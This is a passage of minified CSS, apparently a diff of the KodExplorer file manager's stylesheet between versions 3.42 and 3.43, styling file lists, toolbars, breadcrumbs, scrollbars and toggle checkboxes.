.ico{height:60px;width:60px;padding-top:4px;text-align:center;vertical-align:middle;display:table-cell;}.fileList_icon .file .ico img{height:100% \9;max-height:100%;max-width:100%;border-radius:5px;}.fileList_icon .file .ico.picasaImage{background:none;width:50px;padding-left:5px;}.fileList_icon .file .ico.picasaImage img{-webkit-box-shadow:1px 1px 5px rgba(0,0,0,0.2);-moz-box-shadow:1px 1px 5px rgba(0,0,0,0.2);box-shadow:1px 1px 5px rgba(0,0,0,0.2);width:100% \9;max-width:100%;border-radius:0px;}.fileList_icon .file .ico.picasaImage img.lazyload_ready{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;}@media screen and (max-width:100000px){div.fileList_icon div.file{ display:inline-block;max-height:152px;vertical-align:top;float:none;height:auto;}}.context-menu-item.set-file-icon-size .box-size-smallx{font-size:0.9em;}.context-menu-item.set-file-icon-size .box-size-small{font-size:1.0em;}.context-menu-item.set-file-icon-size .box-size-default{font-size:1.15em;}.context-menu-item.set-file-icon-size .box-size-big{font-size:1.25em;}.context-menu-item.set-file-icon-size .box-size-bigx{font-size:1.35em;}#list_type_list{z-index:5;position:absolute;width:100%;top:85px;}#main_title{background:#fff;border-bottom:1px solid #e3e3e3;box-shadow:0 2px 10px rgba(0,0,0,0.06);}#main_title .box-shadow(1px 2px 15px #dde) - div{cursor:pointer;overflow:hidden;}#main_title div span{float:right;margin-right:8px;margin-top:0px;}#main_title .filename,#main_title .filesize,#main_title .filetype,#main_title .filetime{float:left;cursor:pointer;overflow:hidden;line-height:25px;height:25px;border-right:1px solid #eee;padding-left:10px;margin-left:-10px;font-size:1.0em;color:#448;}#main_title .filename:hover,#main_title .filesize:hover,#main_title .filetype:hover,#main_title .filetime:hover{background:#eee;}#main_title .resize{float:left;width:20px;cursor:col-resize;margin-left:-10px;height:25px;z-index:9999;position:relative;}#main_title .current{background:rgba(0,0,0,0.8);}#main_title .filename{width:250px;padding-left:20px;margin-left:0px;}#main_title .filetype{width:80px;}#main_title .filesize{width:80px;text-align:right;padding-left:0px;padding-right:10px;}#main_title .filetime{width:150px;padding-right:6px;}#main_title .filesize span{margin-right:0px;}#main_title .this{font-weight:800;background:#eee;}.fileList_list,.fileList_list_split{padding-top:5px;width:100%;z-index:0;}.fileList_list .file,.fileList_list_split .file{color:#335;border:1px solid transparent;box-shadow:0px 0px 2px rgba(255,255,255,0);margin-left:10px;-webkit-transition:background 0.2s, border 0.2s, color 0.2s;-moz-transition:background 0.2s, border 0.2s, color 0.2s;-o-transition:background 0.2s, border 0.2s, color 0.2s;-ms-transition:background 0.2s, border 0.2s, color 0.2s;transition:background 0.2s, border 0.2s, color 0.2s;height:25px;}.fileList_list .file .ico,.fileList_list_split .file .ico{-webkit-transition:all 0.168s;-moz-transition:all 0.168s;-o-transition:all 0.168s;-ms-transition:all 0.168s;transition:all 0.168s;}.fileList_list .file2,.fileList_list_split .file2{background:#edf5ff;}.fileList_list .hover,.fileList_list_split .hover{border:1px solid #dedede;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fafafa', endColorstr='#eeeeee');background:#eeeeee;background-image:-webkit-linear-gradient(top,#fafafa,#eeeeee);background-image:-moz-linear-gradient(top,#fafafa,#eeeeee);background-image:-o-linear-gradient(top,#fafafa,#eeeeee);background-image:-ms-linear-gradient(top,#fafafa,#eeeeee);background-image:linear-gradient(top,#fafafa,#eeeeee);-pie-background:linear-gradient(to top,#fafafa,#eeeeee);border-radius:3px;}.fileList_list .select,.fileList_list .selectDragTemp,.fileList_list_split .select,.fileList_list_split .selectDragTemp{border:1px solid #d2d2d2;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#d9d9d9');background:#d9d9d9;background-image:-webkit-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-moz-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-o-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-ms-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:linear-gradient(top,#f3f3f3,#d9d9d9);-pie-background:linear-gradient(to top,#f3f3f3,#d9d9d9);border-radius:3px;padding:0px;}.fileList_list .select .children_more i.font_icon,.fileList_list .selectDragTemp .children_more i.font_icon,.fileList_list_split .select .children_more i.font_icon,.fileList_list_split .selectDragTemp .children_more i.font_icon{color:#63acff !important;}.fileList_list .meta_info,.fileList_list_split .meta_info{display:inline-block;float:initial;width:15px;height:15px;padding:0;position:relative;top:6px;margin:0px 0 0 -15px;}.fileList_list .meta_info img,.fileList_list_split .meta_info img{width:100%;height:100%;}.fileList_list .file,.fileList_list_split .file{width:80%;overflow:hidden;height:27px;}.fileList_list .file .ico,.fileList_list .file .filename,.fileList_list .file .filetype,.fileList_list .file .filesize,.fileList_list .file .filetime,.fileList_list .file .children_more,.fileList_list_split .file .ico,.fileList_list_split .file .filename,.fileList_list_split .file .filetype,.fileList_list_split .file .filesize,.fileList_list_split .file .filetime,.fileList_list_split .file .children_more{float:left;line-height:28px;height:28px;font-size:1.0em;cursor:default;overflow:hidden;padding-left:15px;}.fileList_list .file .children_more,.fileList_list_split .file .children_more{width:20px;height:28px;text-align:center;padding-left:0px;}.fileList_list .file .children_more i.font_icon,.fileList_list_split .file .children_more i.font_icon{font-size:15px;color:#aaa;cursor:pointer;display:inline-block;width:20px;line-height:28px;height:28px;font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;}.fileList_list .file .children_more i.font_icon::after,.fileList_list_split .file .children_more i.font_icon::after{content:"\f0da";}.fileList_list .file .children_more i.font_icon.cert_open::after,.fileList_list_split .file .children_more i.font_icon.cert_open::after{content:"\f0d7";}.fileList_list .file .children_more i.font_icon:hover,.fileList_list_split .file .children_more i.font_icon:hover{background:rgba(0,0,0,0.05);color:#63acff;}.fileList_list .file.loading_children .ico .x-item-file,.fileList_list_split .file.loading_children .ico .x-item-file{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.fileList_list .file .filetype,.fileList_list_split .file .filetype{width:90px;}.fileList_list .file .filesize,.fileList_list_split .file .filesize{width:90px;text-align:right;padding-left:0px;padding-right:10px;}.fileList_list .file .filetime,.fileList_list_split .file .filetime{width:200px;}.fileList_list .file .filename,.fileList_list_split .file .filename{width:240px;word-break:break-all;padding-left:0px;}.fileList_list .file .filename .textarea,.fileList_list_split .file .filename .textarea{font-size:1.0em;display:inline-block;margin-left:-2px;}.fileList_list .file .filename #pathRenameTextarea,.fileList_list .file .filename .newfile,.fileList_list_split .file .filename #pathRenameTextarea,.fileList_list_split .file .filename .newfile{height:24px;line-height:24px;z-index:999;width:200px;min-width:150px;border:none;font-size:1.0em;padding-left:2px;padding-top:2px;}.fileList_list .file .filename #pathRenameTextarea:focus,.fileList_list .file .filename .newfile:focus,.fileList_list_split .file .filename #pathRenameTextarea:focus,.fileList_list_split .file .filename .newfile:focus{outline:none;}.fileList_list .file .filename .title,.fileList_list_split .file .filename .title{word-break:break-all;}.fileList_list .file .ico,.fileList_list_split .file .ico{height:22px;width:22px;padding:0px;line-height:20px;margin-right:4px;margin-top:4px;text-align:center;vertical-align:bottom;display:table-cell;}.fileList_list .file .ico img,.fileList_list_split .file .ico img{height:100% \9;max-height:100%;max-width:100%;margin-top:-5px;}.fileList_list .file .filename .textarea{position:absolute;}.list_split_box{position:absolute;bottom:0px;right:0px;left:0px;top:0px;margin-top:0;overflow:hidden;}.list_split_box .split_line{border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);width:250px;float:left;height:100%;}.fileList_list_split{overflow:hidden;}.fileList_list_split .file{width:97.5%;height:24px;margin-left:0.7%;position:relative;}.fileList_list_split .file.file2{background:none;}.fileList_list_split .file .ico,.fileList_list_split .file .filename,.fileList_list_split .file .filetype,.fileList_list_split .file .filesize,.fileList_list_split .file .filetime,.fileList_list_split .file .children_open{line-height:22px;height:22px;}.fileList_list_split .file .ico{height:22px;width:22px;margin-left:5px;margin-top:2px;}.fileList_list_split .file .filename{width:100%;}.fileList_list_split .file .filename span.title{position:absolute;overflow:hidden;}.fileList_list_split .file .filename #pathRenameTextarea,.fileList_list_split .file .filename .newfile{height:23px;line-height:23px;}.fileList_list_split .file .filename .title .textarea{margin-top:-2px;}.fileList_list_split .file .children_open{width:20px;height:28px;text-align:center;padding-left:0px;float:right;}.fileList_list_split .file .children_open i.font_icon{font-size:1.25em;color:#aaa;display:inline-block;width:20px;line-height:28px;height:28px;font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;-webkit-font-smoothing:antialiased;}.fileList_list_split .file .children_open i.font_icon::before{content:"\f0da";line-height:24px;}.fileList_list_split .file.select_split_parent{background:#e3f0ff;}.fileList_list_split .file.select_split_parent .children_open i.font_icon::before{content:"\f101";font-size:20px;}.fileList_list_split .split_box{border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);width:250px;overflow:hidden;position:absolute;bottom:0px;left:0px;top:0px;border-bottom:5px solid transparent;}.fileList_list_split .split_box .content{overflow:auto;height:100%;margin:2px 0px 10px 0px;}.fileList_list_split .split_box.split_hover{background:#eef7ff;background:rgba(0,0,0,0.01);box-shadow:0 0 100px #eef7ff inset;border-bottom:5px solid #acd9ff;}.fileList_list_split .split_box.split_select{background:#dff0ff;background:rgba(0,0,0,0.01);box-shadow:0 0 40px #dff0ff inset;margin-left:-1px;border-left:1px solid #eee;border-color:#acd9ff;border-bottom:5px solid #2196F3;}.fileList_list_split .is_drag_split .split_drag{background:rgba(100,100,100,0.2);}.fileList_list_split .split_drag{position:absolute;top:0px;right:0px;bottom:0px;width:4px;cursor:col-resize;z-index:55;background:url("../../../images/common/resize.png") 2px 50% no-repeat;}.fileList_list_split .content_more{height:100px;position:relative;}.fileList_list_split .file .children_open i.font_icon{background:url("../../../images/common/tree.png") no-repeat 2px -350px \9\0;height:20px \9\0;}.fileList_list_split .file .children_open i.font_icon:before{display:none \9\0;}.fileList_list_split .file.select_split_parent .children_open i.font_icon{background:url("../../../images/common/tree.png") no-repeat -30px -350px \9\0;height:20px \9\0;}.fileList_list .file .children_more i.font_icon,.fileList_list_split .file .children_more i.font_icon{background:url("../../../images/common/tree.png") no-repeat 2px -350px \9\0;height:20px \9\0;}.fileList_list .file .children_more i.font_icon::after,.fileList_list_split .file .children_more i.font_icon::after{display:none \9\0;}.fileList_list .file .children_more i.font_icon.cert_open,.fileList_list_split .file .children_more i.font_icon.cert_open{background:url("../../../images/common/tree.png") no-repeat -15px -350px \9\0;}.fileList_list .file .children_more i.font_icon:hover,.fileList_list_split .file .children_more i.font_icon:hover{background:url("../../../images/common/tree.png") no-repeat -30px -350px \9\0;}.fileList_list .file .children_more i.font_icon.cert_open:hover,.fileList_list_split .file .children_more i.font_icon.cert_open:hover{background:url("../../../images/common/tree.png") no-repeat -47px -350px \9\0;}html,body{overflow:hidden;overflow-x:hidden;overflow-y:hidden;}.path_tips{line-height:23px;margin-left:15px;margin-top:1px;float:left;display:none;background:#ddd;color:#777;cursor:pointer;border-radius:3px;padding:1px 8px;position:relative;z-index:7;opacity:0.8;filter:alpha(opacity=80);}.frame-header .btn-group-sm >.btn,.frame-main .btn-group-sm >.btn{padding:3px 7px;}.button_style .btn-default{box-shadow:0 2px 8px rgba(0,0,0,0.05);border-radius:0px;height:26px;float:left;font-size:1em;-webkit-transition:border 0.2s;-moz-transition:border 0.2s;-o-transition:border 0.2s;-ms-transition:border 0.2s;transition:border 0.2s;overflow:hidden;padding:0 10px;border:solid 1px #ddd;margin:0 0 0 -1px;outline:none;}.button_style .btn-default .font-icon{line-height:22px;}.button_style .btn-default:hover,.button_style .btn-default:focus{color:#000;border-color:#aaa;-webkit-box-shadow:0 1px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 1px 10px rgba(0,0,0,0.2);box-shadow:0 1px 10px rgba(0,0,0,0.2);}.button_style .btn-default:active{color:#000;border-color:#888;}.button_style .btn-left-radius{border-radius:3px 0px 0px 3px;}.button_style .btn-right-radius{border-radius:0px 3px 3px 0px;}.header-middle{padding-left:12px;}.header-middle .btn-default{box-shadow:0 2px 8px rgba(0,0,0,0.05);border-radius:0px;height:26px;float:left;font-size:1em;-webkit-transition:border 0.2s;-moz-transition:border 0.2s;-o-transition:border 0.2s;-ms-transition:border 0.2s;transition:border 0.2s;overflow:hidden;padding:0 10px;border:solid 1px #ddd;margin:0 0 0 -1px;outline:none;}.header-middle .btn-default .font-icon{line-height:22px;}.header-middle .btn-default:hover,.header-middle .btn-default:focus{color:#000;border-color:#aaa;-webkit-box-shadow:0 1px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 1px 10px rgba(0,0,0,0.2);box-shadow:0 1px 10px rgba(0,0,0,0.2);}.header-middle .btn-default:active{color:#000;border-color:#888;}.header-middle .btn-left-radius{border-radius:3px 0px 0px 3px;}.header-middle .btn-right-radius{border-radius:0px 3px 3px 0px;}.header-middle #yarnball{width:50%;cursor:text;height:26px;overflow:hidden;float:left;border:1px solid #ddd;margin-left:-1px;box-shadow:#e6e6e6 0px 0px 20px inset;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;}.header-middle #yarnball .yarnball{list-style:none;margin:0;margin-top:-1px;padding:0;position:relative;}.header-middle #yarnball .yarnball .yarnlet{display:inline-block;float:left;}.header-middle #yarnball .yarnball .yarnlet a,.header-middle #yarnball .yarnball .yarnlet a:link,.header-middle #yarnball .yarnball .yarnlet a:visited{color:#666;display:inline-block;font-size:1em;padding:0px 15px 0px 20px;margin-left:-15px;position:relative;text-decoration:none;vertical-align:top;line-height:27px;}.header-middle #yarnball .yarnball .yarnlet.first a{margin-left:0px;padding-left:15px;}.header-middle #yarnball .yarnball .yarnlet a{background-image:url("../../../images/common/ybutton.png");background-repeat:no-repeat;background-position:100% 0;cursor:pointer;height:27px;}.header-middle #yarnball .yarnball .yarnlet a:hover{background-position:100% -48px;color:#333;}.header-middle #yarnball .yarnball .yarnlet a:active,.header-middle #yarnball .yarnball .yarnlet a.curDropToPath{background-position:100% -96px;color:#333;}.header-middle #yarnball .yarnball .yarnlet a.curDropToPath{color:#fff;background-position:100% -144px;}.header-middle #yarnball .yarnball .yarnlet .left-yarn{background:url("../../../images/common/ybutton.png") no-repeat 0 -2px;margin-left:-17px;padding:5px 6px 11px 4px;z-index:11;padding-top:5px \9;}.header-middle #yarnball .yarnball .yarnlet a:hover .left-yarn{background-position:0 -50px;}.header-middle #yarnball .yarnball .yarnlet a:active .left-yarn{background-position:0 -98px;}.header-middle #yarnball_input{height:26px;width:50%;cursor:text;float:left;border:1px solid #ddd;display:none;margin-left:-1px;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;box-shadow:#e6e6e6 0px 0px 20px inset;}.header-middle #yarnball_input input.path{border:none;height:25px;display:block;width:100%;padding:0;padding-left:10px;padding-right:10px;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;background:none;width:94%;font-size:1em;line-height:25px;color:#444;}.header-middle #yarnball_input input:focus{outline:none;}.header-middle .address_ico{display:inline-block;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;vertical-align:top;height:20px;width:20px;margin-right:5px;margin-top:0px;}.header-middle .address_ico img{height:100%;width:100%;max-width:100%;max-height:100%;}.frame-header{height:49px;width:100%;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;min-width:600px;border-bottom:1px solid #ddd;}.frame-header .header-content{padding-top:12px;}.frame-header .header-content button.btn{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;}.frame-header .header-content .disable .font-icon{opacity:0.4;filter:alpha(opacity=40);}.frame-header .header-content img{border:none;width:18px;height:18px;}.frame-header .header-content a{display:block;float:left;height:19px;height:25px\0;height:20px\9;}.frame-header .header-content .font-icon{font-size:1.25em;line-height:20px;padding:0 0px;}.frame-header .header-content #history_back .font-icon,.frame-header .header-content #history_next .font-icon{padding:0 5px;font-size:20px;}.frame-header .header-content .header-left{float:left;width:80px;padding-left:10px;}.frame-header .header-content .header-left button.disable{box-shadow:inset 0 3px 6px rgba(0,0,0,0.1);opacity:0.5;filter:alpha(opacity=50);}.frame-header .header-content .header-left button.disable .font-icon{color:#bbb;}.frame-header .header-content .header-right{position:absolute;right:20px;top:12px;}.frame-header .header-content .header-right .btn-default{box-shadow:0 2px 8px rgba(0,0,0,0.05);border-radius:0px;height:26px;float:left;font-size:1em;-webkit-transition:border 0.2s;-moz-transition:border 0.2s;-o-transition:border 0.2s;-ms-transition:border 0.2s;transition:border 0.2s;overflow:hidden;padding:0 10px;border:solid 1px #ddd;margin:0 0 0 -1px;outline:none;}.frame-header .header-content .header-right .btn-default .font-icon{line-height:22px;}.frame-header .header-content .header-right .btn-default:hover,.frame-header .header-content .header-right .btn-default:focus{color:#000;border-color:#aaa;-webkit-box-shadow:0 1px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 1px 10px rgba(0,0,0,0.2);box-shadow:0 1px 10px rgba(0,0,0,0.2);}.frame-header .header-content .header-right .btn-default:active{color:#000;border-color:#888;}.frame-header .header-content .header-right .btn-left-radius{border-radius:3px 0px 0px 3px;}.frame-header .header-content .header-right .btn-right-radius{border-radius:0px 3px 3px 0px;}.frame-header .header-content .header-right input{display:block;float:left;border:1px solid #ddd;height:26px;height:26px \9;padding:0;padding-left:10px;padding-right:0px;text-shadow:1px 1px 3px #cce;color:#888;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;box-shadow:#e6e6e6 0px 0px 20px inset;outline:none;width:91px;-webkit-transition:all 0.218s;-moz-transition:all 0.218s;-o-transition:all 0.218s;-ms-transition:all 0.218s;transition:all 0.218s;}.frame-header .header-content .header-right input:focus{box-shadow:#ccc 0px 0px 20px inset;}.frame-main{position:absolute;left:0;right:0;top:40px;bottom:32px;}.frame-main .frame-left{position:absolute;left:0;top:0;bottom:0px;width:199px;border-right:1px solid #ddd;background:#fff;background-attachment:fixed;overflow:auto;z-index:10;}.frame-main .frame-left #folderList{position:absolute;width:100%;top:0px;bottom:85px;overflow:auto;}.frame-main .fileContinerMore{width:1px;height:1px;position:absolute;top:0;}.frame-main .bottom_box{position:absolute;bottom:0px;width:100%;padding:5px 0;overflow:hidden;border-right:none;border-top:1px solid #f3f3f3;border-top:1px solid rgba(0,0,0,0.1);}.frame-main .bottom_box .box_content{padding-left:20px;}.frame-main .bottom_box .cell{background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;display:block;border-radius:3px;float:left;text-align:center;color:#888;border:1px solid #ddd;width:65px;padding:2px 5px 0px 5px;margin-right:8px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.frame-main .bottom_box .cell i{display:block;font-size:25px;padding-bottom:0px;text-shadow:none;}.frame-main .bottom_box .cell.recycle_hover,.frame-main .bottom_box .cell.share_hover{background-position:0px -15px;border:1px solid #bbb;color:#666;box-shadow:0 0 4px #eee;cursor:pointer;}.frame-main .frame-resize{width:10px;cursor:col-resize;z-index:100;position:absolute;left:195px;top:0;bottom:0;overflow:hidden;background:url("../../../images/common/resize.png") 0px 50% no-repeat;}.frame-main .frame-resize.active{background:#000;opacity:0.2;filter:alpha(opacity=20);}.frame-main .frame-right{left:200px;right:0;position:absolute;top:0;bottom:0;overflow:hidden;min-width:450px;}.frame-main .frame-right .frame-right-main .font-icon{line-height:16px;padding:0 2px;font-size:1em;}.frame-main .frame-right .frame-right-main .drop-menu-action{min-width:150px;font-size:1em;}.frame-main .frame-right .frame-right-main .drop-menu-action a{padding:2px 30px;}.frame-main .frame-right .frame-right-main .drop-menu-action .divider{margin:5px 0;}.frame-main .frame-right .frame-right-main .drop-menu-action .disabled a{opacity:0.8;filter:alpha(opacity=80);}.frame-main .frame-right .frame-right-main .kod_path_tool .font-icon{padding-right:5px;}.frame-main .frame-right .frame-right-main .tools{z-index:100;height:34px;min-width:505px;border-bottom:1px solid #ddd;background:#fefefe;-webkit-box-shadow:1px 2px 15px #eee;-moz-box-shadow:1px 2px 15px #eee;box-shadow:1px 2px 15px #eee;}.frame-main .frame-right .frame-right-main .tools a.left:hover,.frame-main .frame-right .frame-right-main .tools a.middle:hover{margin-right:2px;padding-right:8px;}.frame-main .frame-right .frame-right-main .tools a.this{background:#eee;cursor:default;}.frame-main .frame-right .frame-right-main .tools a.this:hover{margin-right:0px;padding-right:10px;border:1px solid #ddd;background:#eee;-webkit-box-shadow:0 2px 8px rgba(0,0,0,0.05);-moz-box-shadow:0 2px 8px rgba(0,0,0,0.05);box-shadow:0 2px 8px rgba(0,0,0,0.05);-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;}.frame-main .frame-right .frame-right-main .tools .tools-left{float:left;margin:4px 0 0 10px;width:100%;}.frame-main .frame-right .frame-right-main .tools .tools-left .btn-group{float:left;}.frame-main .frame-right .frame-right-main .tools .tools-left span.msg{display:none;margin-left:20px;float:left;padding-left:30px;font-size:1.1em;color:#888;height:25px;line-height:25px;background:url("../../../images/common/loading.gif") 4px 7px no-repeat;}.frame-main .frame-right .frame-right-main .tools .tools-right{margin:0px 20px 0 0;width:200px;position:absolute;right:0px;}.frame-main .frame-right .frame-right-main .tools .tools-right .btn-group-sm{float:right;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size{float:right;display:none;color:#bbb;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .dropdown-toggle{width:25px;height:25px;display:inline-block;cursor:pointer;line-height:25px;margin-right:5px;text-align:center;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size:hover,.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size.open{color:#888;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size:hover .dropdown-toggle,.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size.open .dropdown-toggle{background:#f6f6f6;border-radius:3px;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider{position:relative;margin-right:-34px;margin-top:30px;padding:10px 0;width:40px;min-width:10px;height:120px;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider.dropdown-menu:before{right:13px;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider.dropdown-menu:after{right:14px;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider .slider_bg{height:100%;width:5px;background:#ddd;margin-left:17px;border-radius:3px;cursor:pointer;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider .slider_handle{-webkit-transition:box-shadow 0.2s;-moz-transition:box-shadow 0.2s;-o-transition:box-shadow 0.2s;-ms-transition:box-shadow 0.2s;transition:box-shadow 0.2s;width:16px;height:16px;border-radius:10px;margin-top:10px;cursor:pointer;border-width:1px \9;border:2px solid #96dbfa;background:#fff;position:absolute;margin-left:10px;top:0px;left:0;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider .slider_handle:hover{box-shadow:0 0 0 6px rgba(150,219,250,0.7);}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider .slider_handle.active{background:#7ed3f9;border-color:#7ed3f9;box-shadow:none;}.frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path{width:20px;text-decoration:none;padding:1px 10px;background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;display:inline-block;text-align:center;border-radius:3px;margin-left:10px;border:1px solid #ddd;}.frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path .font-icon{font-size:18px;line-height:20px;}.frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path:hover{border:1px solid #999;}.frame-main .frame-right .dropdown-menu{font-size:1em;}.frame-main .frame-right .bodymain{position:absolute;zoom:1;z-index:0;top:85px;bottom:0;left:0;overflow:auto;width:100%;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;padding-bottom:40px;}.frame-main .frame-right .file_select_info{height:25px;background:#fff;color:#aaa;opacity:0.9;filter:alpha(opacity=90);position:absolute;bottom:5px;margin-left:0px;padding:0px 1em;font-size:1em;line-height:25px;}.frame-main .frame-right .file_select_info .item_num,.frame-main .frame-right .file_select_info .item_select{border-left:3px solid rgba(200,200,200,0.3);border-right:3px solid rgba(200,200,200,0.3);padding-left:5px;padding-right:5px;}.frame-main .frame-right .file_select_info .item_select{padding-left:0.5em;border-left:none;}.user_space_info{height:25spx;width:150px;color:#aaa;overflow:hidden;padding-left:20px;}.user_space_info .space_info_bar{width:150px;}.user_space_info .space_info_bar .space_process{width:150px;}.group_space_use{float:left;padding:2px 10px 0;color:#666;margin-top:-1px;background:url("../../../images/common/buttons_40.png") 0 7px repeat-x;margin-left:10px;border-radius:2px;border:1px solid #ddd;}.fileList_icon div.file{transition:all 0.2s ease 0s;} -/* ver 3.42(2017-04-07) [build 1491589355.9626] */ \ No newline at end of file +/* power by kodexplorer ver 3.43(2017-04-12) [build 1491999048.7803] */ +::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.hidden{display:none;}.frame_fullscreen{position:fixed;z-index:999499;left:0;top:0;}.font-icon{font-family:FontAwesome;font-style:normal;color:inherit;}.dragMaskView{position:absolute;top:0;left:0;right:0;bottom:0;z-index:888;background:#fff;opacity:0.01;filter:alpha(opacity=1);-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}@media screen and (max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ margin:15px 1.2em 15px 2.5em;vertical-align:middle;display:inline-block;margin:0px;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} 